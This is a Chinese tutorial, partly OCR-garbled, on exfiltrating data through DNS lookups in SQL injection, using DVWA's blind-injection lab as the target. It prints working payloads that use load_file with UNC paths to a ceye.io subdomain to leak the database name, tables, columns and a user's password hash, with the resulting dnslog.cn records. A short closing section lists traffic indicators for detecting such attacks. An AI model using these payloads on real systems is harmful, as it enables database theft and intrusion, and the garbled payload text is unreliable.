# Sql 注入利用 dnslog 带回回显信息的一个完整的栗子及流量分析

### 一、一个列子

以 dvwa 的盲注为靶机

● 获得数据库

' and if((select load\_file(concat('\\\',(select database()),'. $r979bs.\ ceye.\ io\\hguone'))$ ,1,0) #





- 获得表
- 'and if((select load\_file(concat('\\\',(select table\_name from information\_schema.tables where table\_schema='dvwa' limit 1,1),'.r979bs. ceye. io\\hguone'))),1,0)#



● 获得字段

<sup>&#</sup>x27; and if((select load\_file(concat('\\\\',(select column\_name from information\_schema.columns

Get SubDomain Refresh Record

#### 2n7xzb.dnslog.cn

DNS Query Record	IP Address	<b>Created Time</b>
user_id.2n7xzb.dnslog.cn	74.125.179.133	2022-09-22 00:16:42
users.2n7xzb.dnslog.cn	172.253.237.1	2022-09-22 00:12:35
users.2n7xzb.dnslog.cn	172.253.237.4	2022-09-22 00:12:35

#### ● 获得记录值

' and if((select load\_file(concat('\\\',(select password from users where user\_id='1'),'.r979bs. ceye. io\\hguone'))),1,0)#



Get SubDomain Refresh Record

#### 73m1r1.dnslog.cn

DNS Query Record	IP Address	<b>Created Time</b>
5f4dcc3b5aa765d61d8327deb882cf99.73m1 r1.dnslog.cn	172.253.237.3	2022-09-22 00:39:11
user_id.73m1r1.dnslog.cn	172.253.5.4	2022-09-22 00:34:28

## 二、注意事项

- 1、解析的地址如果通过 UNC 命名规则设置,UNC 命名资源查找,会触发 dns 解析输出 log,由于 linux 没有 UNC,所以就只适用于 windows DNS 解析过程中。但是并不意味着 linux 不适用 dnslog,比如用 ping,用 curl 是可以的。
- 2、UNC 路径不能超过 128, 否则报错,这限制了比如 sql 的查询语句的长度。
- 3、SQL 中像 load\_file 这类函数使用需要当前账户有读权限。

## 三、性能分析

表1.	SOL	T共力	化的	油	B. 44	1-1
XI.	DAT	LIX	レロコ	10	ノスハリ	111

Method	# of requests	Time (sec)
Boolean-based blind	29,212	214.04
Time-based (1 sec)	32,716	17,720.51
Error-based	777	9.02
Union (full/partial)	3/136	0.70/2.50
DNS exfiltration	1,409	35.31

# 四、流量分析

- 1、load\_file 函数 或者 sql-server 存储过程
- 2、开源 Dnslog 平台的二级域名或者自定义 dnslog 平台的二级域名
- 3、获得数据库源信息的函数或者存储过程等